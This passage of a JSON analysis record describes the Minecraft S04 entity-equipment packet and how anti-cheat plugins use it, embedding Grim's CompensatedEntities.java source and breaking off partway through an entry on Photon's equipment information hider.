    "server_handling": "The server-side senders are EntityTrackerEntry (on tracked-equipment change, line ~399) and EntityLivingBase (on item/armor updates, line ~1644). There is no serverbound counterpart: the client reports inventory changes through C09PacketHeldItemChange and C0EPacketClickWindow, and the server echoes the resulting equipment state to other trackers as S04. Nothing in the server validates the packet because it never receives it.",
    "protocol_notes": "Fields in order: VarInt entity id, short slot, then a Slot-encoded ItemStack (short item id + count + damage + optional NBT, with id -1 encoding null). One packet per slot, so a full armor change is five packets; the client applies them independently and a late packet can overwrite a newer value if ordering slips, which is a known quirk of the 1.8 entity-equipment path.",
    "anticheat_landscape": "No anti-cheat measures this packet: it is clientbound, server-authored and carries no timing or movement signal. The only consumer-side risk would be a module that uses slot-0 deltas to time attacks, which would inherit whatever the target's anti-cheat flags for reaction-time consistency; nothing in the corpus does this.",
    "modules": [],
    "client_variations": "The only client-side deltas are the dead imports (Rise 5.99 Aura, Sigma 4.11 InventoryManager) and the Rise 6.x script API entry; everything else in all 8 clients is the untouched vanilla handler.",
    "related": [
     "S09PacketHeldItemChange",
     "S1CPacketEntityMetadata",
     "S13PacketDestroyEntities"
    ],
    "anticheat": {
     "overview": "Server-side anticheats see S04 only on send, and the real consumers split into two groups. State mirrors keep the simulated entity copy honest: Grim reads the packet in PacketEntityReplication and applies it through CompensatedEntities on the transaction clock. Countermeasure modules rewrite the outgoing payload so other clients cannot scout gear: Photon's information hiders and Intave's EquipmentFilter. The rest of the corpus is keyword noise: Rammelkast, NCP UseItemAdapter and LightAntiCheat hit on org.bukkit.inventory.EquipmentSlot armor reads inside movement checks, Artemis and Negativity contribute wrappers and registrations, and the Peyang and MinecraftAntiCheat NPC bait code sends the packet to fake entities, which is a send-side use, not a check.",
     "checks": [
      {
       "name": "Entity equipment replication (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keeps the compensated entity copy's equipment mirror in sync with the server so checks that depend on other players' gear (elytra gliding, attack range, horse saddle state) evaluate the right items at the right tick.",
       "how_it_works": "PacketEntityReplication reads WrapperPlayServerEntityEquipment on the ENTITY_EQUIPMENT send and schedules updateEntityEquipment as a real-time task on the transaction clock (lastTransactionSent), so the equipment change lands exactly when the client would have processed it. CompensatedEntities guards on the trackEntityEquipment flag, then folds each Equipment entry into the packet entity through setItemBySlot. PacketEntityHorse and PacketEntityNautilus enable tracking because saddle state is movement-relevant, and PacketEntityHappyGhast tracks its body slot.",
       "detects": "Nothing directly: this is state replication. It removes equipment desync as a variable from checks that reason about what a tracked entity holds or rides.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedEntities.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.collisions.datatypes.SimpleCollisionBox;\nimport ac.grim.grimac.utils.data.ShulkerData;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.attribute.ValuedAttribute;\nimport ac.grim.grimac.utils.data.packetentity.*;\nimport ac.grim.grimac.utils.data.packetentity.dragon.PacketEntityEnderDragon;\nimport ac.grim.grimac.utils.nmsutil.BoundingBoxSize;\nimport ac.grim.grimac.utils.nmsutil.WatchableIndexUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.attribute.Attribute;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.Equipment;\nimport com.github.retrooper.packetevents.protocol.player.UserProfile;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.protocol.potion.PotionTypes;\nimport com.github.retrooper.packetevents.protocol.world.BlockFace;\nimport com.github.retrooper.packetevents.protocol.world.Direction;\nimport com.github.retrooper.packetevents.resources.ResourceLocation;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;\nimport it.unimi.dsi.fastutil.ints.IntArraySet;\nimport it.unimi.dsi.fastutil.objects.Object2ObjectOpenHashMap;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.OptionalInt;\nimport java.util.UUID;\n\npublic class CompensatedEntities {\n\n    public static final UUID SPRINTING_MODIFIER_UUID = UUID.fromString(\"662A6B8D-DA3E-4C1C-8813-96EA6097278D\");\n    public static final UUID SNOW_MODIFIER_UUID = UUID.fromString(\"1eaf83ff-7207-4596-b37a-d7a07b3ec4ce\");\n\n    public final Int2ObjectOpenHashMap<PacketEntity> entityMap = new Int2ObjectOpenHashMap<>(40, 0.7f);\n    public final IntArraySet entitiesRemovedThisTick = new IntArraySet();\n    public final Int2ObjectOpenHashMap<TrackerData> serverPositionsMap = new Int2ObjectOpenHashMap<>(40, 0.7f);\n    public final Object2ObjectOpenHashMap<UUID, UserProfile> profiles = new Object2ObjectOpenHashMap<>();\n    public Integer serverPlayerVehicle = null;\n    public boolean hasSprintingAttributeEnabled = false;\n    public TrackerData selfTrackedEntity;\n    public PacketEntitySelf self;\n    private final GrimPlayer player;\n\n    public CompensatedEntities(GrimPlayer player) {\n        this.player = player;\n        this.self = new PacketEntitySelf(player);\n        this.selfTrackedEntity = new TrackerData(0, 0, 0, 0, 0, EntityTypes.PLAYER, player.lastTransactionSent.get());\n    }\n\n    public int getPacketEntityID(PacketEntity entity) {\n        for (Map.Entry<Integer, PacketEntity> entry : entityMap.int2ObjectEntrySet()) {\n            if (entry.getValue() == entity) {\n                return entry.getKey();\n            }\n        }\n        return Integer.MIN_VALUE;\n    }\n\n    public void tick() {\n        this.self.setPositionRaw(player, new SimpleCollisionBox(player.x, player.y, player.z, player.x, player.y, player.z));\n        for (PacketEntity vehicle : entityMap.values()) {\n            for (PacketEntity passenger : vehicle.passengers) {\n                tickPassenger(vehicle, passenger);\n            }\n        }\n    }\n\n    public void removeEntity(int entityID) {\n        PacketEntity entity = entityMap.remove(entityID);\n        if (entity == null) return;\n\n        if (entity instanceof PacketEntityEnderDragon dragon) {\n            for (int i = 1; i < dragon.getParts().size() + 1; i++) {\n                entityMap.remove(entityID + i);\n            }\n        }\n\n        for (PacketEntity passenger : new ArrayList<>(entity.passengers)) {\n            passenger.eject();\n        }\n    }\n\n    public OptionalInt getSlowFallingAmplifier() {\n        return player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_12_2) ? OptionalInt.empty() : getPotionLevelForPlayer(PotionTypes.SLOW_FALLING);\n    }\n\n    public OptionalInt getPotionLevelForPlayer(PotionType type) {\n        return getEntityInControl().getPotionEffectLevel(type);\n    }\n\n    public OptionalInt getPotionLevelForSelfPlayer(PotionType type) {\n        return self.getPotionEffectLevel(type);\n    }\n\n    public boolean hasPotionEffect(PotionType type) {\n        return getEntityInControl().hasPotionEffect(type);\n    }\n\n    public PacketEntity getEntityInControl() {\n        return self.getRiding() != null ? self.getRiding() : self;\n    }\n\n    public void updateAttributes(int entityID, List<WrapperPlayServerUpdateAttributes.Property> objects) {\n        if (entityID == player.entityID) {\n            // Check for sprinting attribute. Note that this value can desync: https://bugs.mojang.com/browse/MC-69459\n            for (WrapperPlayServerUpdateAttributes.Property snapshotWrapper : objects) {\n                final Attribute attribute = snapshotWrapper.getAttribute();\n                if (attribute != Attributes.MOVEMENT_SPEED) continue;\n\n                boolean found = false;\n                List<WrapperPlayServerUpdateAttributes.PropertyModifier> modifiers = snapshotWrapper.getModifiers();\n                for (WrapperPlayServerUpdateAttributes.PropertyModifier modifier : modifiers) {\n                    final ResourceLocation name = modifier.getName();\n                    if (name.getKey().equals(SPRINTING_MODIFIER_UUID.toString()) || name.getKey().equals(\"sprinting\")) {\n                        found = true;\n                        break;\n                    }\n                }\n\n                // The server can set the player's sprinting attribute\n                hasSprintingAttributeEnabled = found;\n                break;\n            }\n        }\n\n        PacketEntity entity = player.compensatedEntities.getEntity(entityID);\n        if (entity == null) return;\n\n        for (WrapperPlayServerUpdateAttributes.Property snapshotWrapper : objects) {\n            Attribute attribute = snapshotWrapper.getAttribute();\n            if (attribute == null)\n                continue; // TODO: Warn if this happens? Either modded server or bug in packetevents.\n\n            // Rewrite horse.jumpStrength -> modern equivalent\n            if (attribute == Attributes.HORSE_JUMP_STRENGTH) {\n                attribute = Attributes.JUMP_STRENGTH;\n            }\n\n            final Optional<ValuedAttribute> valuedAttribute = entity.getAttribute(attribute);\n            if (valuedAttribute.isEmpty()) {\n                // Not an attribute we want to track\n                continue;\n            }\n\n            valuedAttribute.get().with(snapshotWrapper);\n        }\n    }\n\n    private void tickPassenger(PacketEntity riding, PacketEntity passenger) {\n        if (riding == null || passenger == null) {\n            return;\n        }\n\n        passenger.setPositionRaw(player, riding.getPossibleLocationBoxes().offset(0, BoundingBoxSize.getMyRidingOffset(riding) + BoundingBoxSize.getPassengerRidingOffset(player, passenger), 0));\n\n        for (PacketEntity passengerPassenger : riding.passengers) {\n            tickPassenger(passenger, passengerPassenger);\n        }\n    }\n\n    public PacketEntity addEntity(int entityID, UUID uuid, EntityType entityType, Vector3d position, float xRot, int data) {\n        // Dropped items are all server sided and players can't interact with them (except create them!), save the performance\n        if (entityType == EntityTypes.ITEM) return null;\n\n        PacketEntity packetEntity;\n        if (EntityTypes.isTypeInstanceOf(entityType, EntityTypes.ABSTRACT_NAUTILUS)) {\n            packetEntity = new PacketEntityNautilus(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.HAPPY_GHAST.equals(entityType)) {\n            packetEntity = new PacketEntityHappyGhast(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), xRot);\n        } else if (EntityTypes.isTypeInstanceOf(entityType, EntityTypes.CAMEL)) {\n            packetEntity = new PacketEntityCamel(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), xRot);\n        } else if (EntityTypes.isTypeInstanceOf(entityType, EntityTypes.ABSTRACT_HORSE)) {\n            packetEntity = new PacketEntityHorse(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), xRot);\n        } else if (entityType == EntityTypes.SULFUR_CUBE) {\n            packetEntity = new PacketEntitySizeable(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (entityType == EntityTypes.SLIME || entityType == EntityTypes.MAGMA_CUBE || entityType == EntityTypes.PHANTOM) {\n            packetEntity = new PacketEntitySizeable(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.PIG.equals(entityType)) {\n            packetEntity = new PacketEntityRideable(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.SHULKER.equals(entityType)) {\n            packetEntity = new PacketEntityShulker(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.STRIDER.equals(entityType)) {\n            packetEntity = new PacketEntityStrider(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.isTypeInstanceOf(entityType, EntityTypes.BOAT) || EntityTypes.CHICKEN.equals(entityType)) {\n            packetEntity = new PacketEntityTrackXRot(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), xRot);\n        } else if (EntityTypes.FISHING_BOBBER.equals(entityType)) {\n            packetEntity = new PacketEntityHook(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), data);\n        } else if (EntityTypes.ENDER_DRAGON.equals(entityType)) {\n            packetEntity = new PacketEntityEnderDragon(player, uuid, entityID, position.getX(), position.getY(), position.getZ());\n        } else if (\n                EntityTypes.isTypeInstanceOf(entityType, EntityTypes.ABSTRACT_ARROW)\n                || EntityTypes.FIREWORK_ROCKET.equals(entityType)\n                || EntityTypes.BLOCK_DISPLAY.equals(entityType)\n                || EntityTypes.TEXT_DISPLAY.equals(entityType)\n                || EntityTypes.LIGHTNING_BOLT.equals(entityType)\n                || EntityTypes.EXPERIENCE_BOTTLE.equals(entityType)\n                || EntityTypes.EXPERIENCE_ORB.equals(entityType)\n                || EntityTypes.EVOKER_FANGS.equals(entityType)\n        ) {\n            packetEntity = new PacketEntityUnHittable(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        } else if (EntityTypes.ARMOR_STAND.equals(entityType)) {\n            packetEntity = new PacketEntityArmorStand(player, uuid, entityType, position.getX(), position.getY(), position.getZ(), data);\n        } else if (EntityTypes.PAINTING.equals(entityType)) {\n            packetEntity = new PacketEntityPainting(player, uuid, position.x, position.y, position.z, Direction.values()[data]);\n        } else if (EntityTypes.GUARDIAN.equals(entityType)) {\n            packetEntity = new PacketEntityGuardian(player, uuid, entityType, position.x, position.y, position.z, false); // can still be an Elder Guardian in 1.8-1.10.2 from entity metadata updates\n        } else if (EntityTypes.ELDER_GUARDIAN.equals(entityType)) {\n            packetEntity = new PacketEntityGuardian(player, uuid, entityType, position.x, position.y, position.z, true);\n        } else if (EntityTypes.SKELETON == entityType) {\n            packetEntity = new PacketEntitySkeleton(player, uuid, entityType, position.x, position.y, position.z);\n        } else {\n            packetEntity = new PacketEntity(player, uuid, entityType, position.getX(), position.getY(), position.getZ());\n        }\n\n        entityMap.put(entityID, packetEntity);\n        return packetEntity;\n    }\n\n    public PacketEntity getEntity(int entityID) {\n        if (entityID == player.entityID) {\n            return self;\n        }\n        return entityMap.get(entityID);\n    }\n\n    public TrackerData getTrackedEntity(int id) {\n        if (id == player.entityID) {\n            return selfTrackedEntity;\n        }\n        return serverPositionsMap.get(id);\n    }\n\n    // TODO optimize into if-else chain instead of individual ifs\n    public void updateEntityMetadata(int entityID, List<EntityData<?>> watchableObjects) {\n        PacketEntity entity = player.compensatedEntities.getEntity(entityID);\n        if (entity == null) return;\n\n        // 26.1 added AGE_LOCKED to AgeableMob after BABY, shifting all descendant field indices +1.\n        // Only affects entities extending AgeableMob (horses, pigs, striders, tamables, etc.)\n        final int ageableOffset = PacketEvents.getAPI().getServerManager().getVersion()\n                .isNewerThanOrEquals(ServerVersion.V_26_1) ? 1 : 0;\n\n        if (entity.isAgeable) {\n            int id;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8)) {\n                id = 12;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                id = 11;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                id = 12;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                id = 14;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                id = 15;\n            } else {\n                id = 16 + (EntityTypes.isTypeInstanceOf(entity.getType(), EntityTypes.ABSTRACT_PIGLIN) ? 1 : 0); // BABY is still at 16 in 26.1 (AGE_LOCKED is 17, after BABY), for some reason, piglins have their own age metadata??\n            }\n\n            // 1.14 good\n            EntityData<?> ageableObject = WatchableIndexUtil.getIndex(watchableObjects, id);\n            if (ageableObject != null) {\n                Object value = ageableObject.getValue();\n                // Required because bukkit Ageable doesn't align with minecraft's ageable\n                if (value instanceof Boolean) {\n                    entity.isBaby = (boolean) value;\n                } else if (value instanceof Byte) {\n                    entity.isBaby = ((Byte) value) < 0;\n                }\n            }\n        }\n\n        if (entity instanceof PacketEntitySizeable sizeable) {\n            int id;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8)) {\n                id = 16;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                id = 11;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                id = 12;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                id = 14;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                id = 15;\n            } else {\n                id = 16;\n            }\n\n            EntityData<?> sizeObject = WatchableIndexUtil.getIndex(watchableObjects, id);\n            if (sizeObject != null) {\n                Object value = sizeObject.getValue();\n                if (value instanceof Integer) {\n                    sizeable.size = (int) value;\n                } else if (value instanceof Byte) {\n                    sizeable.size = (byte) value;\n                }\n            }\n        }\n\n        if (entity instanceof PacketEntityShulker shulker) {\n            int id;\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                id = 11;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                id = 12;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                id = 14;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                id = 15;\n            } else {\n                id = 16;\n            }\n\n            EntityData<?> shulkerAttached = WatchableIndexUtil.getIndex(watchableObjects, id);\n\n            if (shulkerAttached != null) {\n                // This NMS -> Bukkit conversion is great and works in all 11 versions.\n                shulker.facing = BlockFace.valueOf(shulkerAttached.getValue().toString().toUpperCase());\n            }\n\n            // ATTACH_POS was removed in 1.17, shifting PEEK from id+2 to id+1\n            int peekOffset = PacketEvents.getAPI().getServerManager().getVersion()\n                    .isNewerThanOrEquals(ServerVersion.V_1_17) ? 1 : 2;\n            EntityData<?> height = WatchableIndexUtil.getIndex(watchableObjects, id + peekOffset);\n            if (height != null) {\n                ShulkerData data = new ShulkerData(shulker, player.lastTransactionSent.get(), (byte) height.getValue() == 0);\n                player.compensatedWorld.openShulkerBoxes.remove(data);\n                player.compensatedWorld.openShulkerBoxes.add(data);\n            }\n        }\n\n        if (entity instanceof PacketEntityRideable rideable) {\n            int offset = 0;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8)) {\n                if (entity.getType() == EntityTypes.PIG) {\n                    EntityData<?> pigSaddle = WatchableIndexUtil.getIndex(watchableObjects, 16);\n                    if (pigSaddle != null) {\n                        rideable.hasSaddle = ((byte) pigSaddle.getValue()) != 0;\n                    }\n                }\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                offset = 5;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                offset = 4;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                offset = 2;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                offset = 1;\n            }\n\n            if (entity.getType() == EntityTypes.PIG) {\n                // SADDLE removed in 1.21.5, shifting BOOST_TIME from 18→17.\n                // ageableOffset naturally cancels this out in 26.1 (BOOST_TIME back at 18).\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_21_5))\n                    offset = 1;\n\n                // SADDLE removed in 1.21.5; now handled via equipment\n                if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_5)) {\n                    EntityData<?> pigSaddle = WatchableIndexUtil.getIndex(watchableObjects, 17 - offset + ageableOffset);\n                    if (pigSaddle != null) {\n                        rideable.hasSaddle = (boolean) pigSaddle.getValue();\n                    }\n                }\n\n                EntityData<?> pigBoost = WatchableIndexUtil.getIndex(watchableObjects, 18 - offset + ageableOffset);\n                if (pigBoost != null) { // What does 1.9-1.10 do here? Is this feature even here?\n                    rideable.boostTimeMax = (int) pigBoost.getValue();\n                    rideable.currentBoostTime = 0;\n                }\n            } else if (entity instanceof PacketEntityStrider) {\n                EntityData<?> striderBoost = WatchableIndexUtil.getIndex(watchableObjects, 17 - offset + ageableOffset);\n                if (striderBoost != null) {\n                    rideable.boostTimeMax = (int) striderBoost.getValue();\n                    rideable.currentBoostTime = 0;\n                }\n\n                EntityData<?> striderShaking = WatchableIndexUtil.getIndex(watchableObjects, 18 - offset + ageableOffset);\n                if (striderShaking != null) {\n                    ((PacketEntityStrider) rideable).isShaking = (boolean) striderShaking.getValue();\n                }\n\n                // SADDLE removed in 1.21.5; now handled via equipment\n                if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_5)) {\n                    EntityData<?> striderSaddle = WatchableIndexUtil.getIndex(watchableObjects, 19 - offset + ageableOffset);\n                    if (striderSaddle != null) {\n                        rideable.hasSaddle = (boolean) striderSaddle.getValue();\n                    }\n                }\n            }\n        }\n\n        if (entity instanceof PacketEntityHorse horse) {\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9_4)) {\n                int offset = 0;\n\n                if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                    offset = 5;\n                } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                    offset = 4;\n                } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                    offset = 2;\n                } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                    offset = 1;\n                }\n\n                EntityData<?> horseByte = WatchableIndexUtil.getIndex(watchableObjects, 17 - offset + ageableOffset);\n                if (horseByte != null) {\n                    byte info = (byte) horseByte.getValue();\n\n                    horse.isTame = (info & 0x02) != 0;\n                    horse.hasSaddle = (info & 0x04) != 0;\n                    horse.isRearing = (info & 0x20) != 0;\n                }\n\n                // track camel dashing\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_20)) {\n                    if (entity instanceof PacketEntityCamel camel) {\n                        EntityData<?> entityData = WatchableIndexUtil.getIndex(watchableObjects, 18 + ageableOffset);\n                        if (entityData != null) {\n                            camel.setDashing((boolean) entityData.getValue());\n\n                            // TODO there is: if (!this.firstTick && DASH.equals(accessor)) {\n                            // !firstTick condition\n                            camel.setDashCooldown(camel.getDashCooldown() == 0 ? 55 : camel.getDashCooldown());\n                        }\n                    }\n                }\n            } else {\n                EntityData<?> horseByte = WatchableIndexUtil.getIndex(watchableObjects, 16);\n                if (horseByte != null) {\n                    int info = (int) horseByte.getValue();\n\n                    horse.isTame = (info & 0x02) != 0;\n                    // TODO: Check this\n                    horse.hasSaddle = (info & 0x04) != 0;\n                    // horse.hasSaddle = (info & 0x08) != 0; // 0x08 should be hasChest\n                    horse.isRearing = (info & 0x40) != 0;\n                }\n            }\n        }\n\n        if (entity instanceof PacketEntityNautilus nautilus) {\n            EntityData<?> entityData = WatchableIndexUtil.getIndex(watchableObjects, 19 + ageableOffset);\n            if (entityData != null) {\n                nautilus.setDashing((boolean) entityData.getValue());\n\n                // TODO there is: if (!this.firstTick && DASH.equals(accessor)) {\n                // !firstTick condition\n                nautilus.setDashCooldown(nautilus.getDashCooldown() == 0 ? 40 : nautilus.getDashCooldown());\n            }\n        }\n\n        if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9_4)) {\n            EntityData<?> gravity = WatchableIndexUtil.getIndex(watchableObjects, 5);\n\n            if (gravity != null) {\n                Object gravityObject = gravity.getValue();\n\n                if (gravityObject instanceof Boolean) {\n                    // Vanilla uses hasNoGravity, which is a bad name IMO\n                    // hasGravity > hasNoGravity\n                    entity.hasGravity = !((Boolean) gravityObject);\n                }\n            }\n        }\n\n        if (entity.getType() == EntityTypes.FIREWORK_ROCKET) {\n            int offset = 0;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_12_2)) {\n                offset = 2;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                offset = 1;\n            }\n\n            EntityData<?> fireworkWatchableObject = WatchableIndexUtil.getIndex(watchableObjects, 9 - offset);\n            if (fireworkWatchableObject == null) return;\n\n            if (fireworkWatchableObject.getValue() instanceof Integer) { // Pre 1.14\n                int attachedEntityID = (Integer) fireworkWatchableObject.getValue();\n                if (attachedEntityID == player.entityID) {\n                    player.fireworks.addNewFirework(entityID);\n                }\n            } else if (fireworkWatchableObject.getValue() instanceof Optional<?> optional\n                    && optional.isPresent() && optional.get() instanceof Integer attachedEntityID\n                    && attachedEntityID.equals(player.entityID)) { // 1.14+\n                player.fireworks.addNewFirework(entityID);\n            }\n        }\n\n        if (entity instanceof PacketEntityHook hook) {\n            int index;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                index = 5;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                index = 6;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                index = 7;\n            } else {\n                index = 8;\n            }\n\n            EntityData<?> hookWatchableObject = WatchableIndexUtil.getIndex(watchableObjects, index);\n            if (hookWatchableObject == null) return;\n\n            Integer attachedEntityID = (Integer) hookWatchableObject.getValue();\n            hook.attached = attachedEntityID - 1; // the server adds 1 to the ID\n        }\n\n        if (entity instanceof PacketEntityArmorStand) {\n            int index;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_9_4)) {\n                index = 10;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_13_2)) {\n                index = 11;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_14_4)) {\n                index = 13;\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_16_5)) {\n                index = 14;\n            } else {\n                index = 15;\n            }\n\n            EntityData<?> armorStandByte = WatchableIndexUtil.getIndex(watchableObjects, index);\n            if (armorStandByte != null) {\n                byte info = (Byte) armorStandByte.getValue();\n\n                entity.isBaby = (info & 0x01) != 0; // technically this is IsSmall which is a different tag, but it has the same effect for us\n                ((PacketEntityArmorStand) entity).isMarker = (info & 0x10) != 0;\n            }\n        }\n\n        if (entity instanceof PacketEntityGuardian && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_11)) {\n            int index;\n            int isElderlyBitMask;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9)) {\n                index = 16;\n                isElderlyBitMask = 0x04; // the wiki is wrong 0x02 is not \"Is Elderly\"\n            } else if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_10)) {\n                index = 11;\n                isElderlyBitMask = 0x04;\n            } else {\n                index = 12;\n                isElderlyBitMask = 0x04;\n            }\n\n            EntityData<?> guardianByte = WatchableIndexUtil.getIndex(watchableObjects, index);\n            if (guardianByte != null) {\n                int info = (Integer) guardianByte.getValue(); // wiki says this is a byte but testing on 1.8 shows it's an integer\n                ((PacketEntityGuardian) entity).isElder = (info & isElderlyBitMask) != 0;\n            }\n        }\n\n        if (entity instanceof PacketEntitySkeleton skeleton && PacketEvents.getAPI().getServerManager().getVersion().isOlderThanOrEquals(ServerVersion.V_1_8_8)) {\n            EntityData<?> skeletonTypeObject = WatchableIndexUtil.getIndex(watchableObjects, 13);\n            if (skeletonTypeObject != null && skeletonTypeObject.getValue() instanceof Byte skeletonType) {\n                skeleton.isWitherSkeleton = skeletonType == 1;\n            }\n        }\n    }\n\n    public void updateEntityEquipment(int entityId, List<Equipment> equipment) {\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity == null || !entity.trackEntityEquipment) return;\n\n        for (Equipment equipmentItem : equipment) {\n            entity.setItemBySlot(equipmentItem.getSlot(), equipmentItem.getItem());\n        }\n    }\n\n}\n// NOTE (AI): S04 handling lives in two corpus files: PacketEntityReplication lines 161-162 reads the wrapper and schedules the apply on the transaction clock; updateEntityEquipment at lines 572-580 of this file performs the state write. trackEntityEquipment is enabled per entity type in PacketEntityHorse, PacketEntityNautilus and PacketEntityHappyGhast.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedEntities.java",
       "variations": "The packet read lives in Grim PacketEntityReplication lines 161-162, the same transaction sandwich used for the metadata and player-info branches. No other anticheat mirrors other entities' equipment into a simulation."
      },
      {
       "name": "Information hider (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Anti-ESP countermeasure: rewrite outgoing S04 payloads so other clients cannot infer a player's gear from durability, enchantments, lore or item counts.",
       "how_it_works": "InformationHiderModule registers a HIGH-priority send listener on ENTITY_EQUIPMENT, parses the wrapper, skips the player's own entity, and hands every equipped item to the abstract hideInformation hook. DurabilityHider, EnchantmentHider and ItemCountHider subclass it, and PacketInformationHider routes the ENTITY_EQUIPMENT case by entity id for the visibility system. The server still sees the real items; only the forwarded copies are stripped.",
       "detects": "Nothing: this is a protection module, not a violation check. It defeats client-side gear scouting such as enchantment and durability ESP that a server-side anticheat cannot observe directly.",
